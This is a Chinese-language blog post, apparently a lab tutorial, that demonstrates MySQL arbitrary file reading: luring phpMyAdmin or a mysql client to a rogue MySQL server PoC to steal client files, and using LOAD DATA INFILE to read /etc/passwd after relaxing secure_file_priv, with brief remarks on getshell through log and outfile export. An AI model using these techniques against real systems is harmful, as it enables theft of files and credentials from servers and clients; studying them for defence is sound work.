数据库

MYSQL 任意文件读取

2020-10-31  本文已影响0人  CSeroad

前言

最近看到mysql的任意文件读取,好奇该漏洞如果出现在实际中该是什么样的。

phpmyadmin 读取

利用条件

修改phpmyadmin下的libraries\config.default.php内容

$cfg['AllowArbitraryServer'] = true

默认为false,只允许localhost本地登录。true允许远程登录。

利用过程

github下载poc。
查看rogue_mysql_server.py 文件

image.png

port为端口
filelist为读取的文件
mysql.log为记录日志
vps运行

python rogue_mysql_server.py

访问phpstudy的phpmyadmin

image.png

服务器填写vps:port,用户名、密码随意。点击执行。
vps上生成mysql.log文件,可看到win.ini源码。

image.png

mysql 读取

利用条件

mysql.exe客户端命令行执行。话说实际中什么情况下会读取客户端信息。

利用过程

以kali为受害机,vps为攻击机。
操作过程一样。

mysql -h 106.53.xx.xx -uroot -p --enable-local-infile

客户端必须具有LOAD DATA LOCAL 属性,需要添加--enable-local-infile。

image.png

密码随意输入。
读取的客户端文件保存在mysql.log

image.png

local data local infile

上面读取客户端的信息,就是用了local data local infile这个特性。用来读取一个文件的内容并且放到一个表中。
比如使用navicat远程连接mysql服务端。

load data local infile 'xxx' into table test  将客户端文件存入test表中
image.png image.png

local data infile

与local data local infile相反,local data infile是从本地服务端读取数据。

load data infile 'xxx' into table test;  将服务端文件存入test表中
image.png

这里用的是mysql5.7版本,会有--secure-file-priv提示。

--secure-file-priv

查看该特性。默认值为/var/lib/mysql-files/

show variables like '%secure%'
image.png

这里简单说明一下

secure_file_priv 值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv 值为/var/lib/mysql-files/,表示限制mysqld 的导入|导出只能在该目录下
secure_file_priv 无值,表示不对mysqld 的导入|导出做限制

修改该配置,需要编辑/etc/mysql/mysql.conf.d/mysqld.cnf
该文件
添加

secure_file_priv=''

重启mysql服务。即可允许mysql任意导入导出。

image.png
create table test(
passwd varchar(100)
)

创建test表

load data infile '/etc/passwd' into table test;

备份/etc/passwd文件到test表

select * from test;

获取test表的内容。

image.png

可成功读取。

回顾

再顺便看linux下mysql的一些导出操作。

general_log_file

都知道phpmyadmin可以利用日志导出文件来getshell。那么linux下呢?

image.png

linux下无法利用日志导出。同样是需要修改/etc/mysql/mysql.conf.d/mysqld.cnf文件。

into outfile

image.png

无法导出到/var/www/html/下,可导出到/tmp/下

image.png image.png

这是因为mysql不是以root权限运行。

image.png

参考资料

https://g.yuque.com/corgi/vghqzi/dogiym
https://xz.aliyun.com/t/3973

上一篇 下一篇

猜你喜欢

热点阅读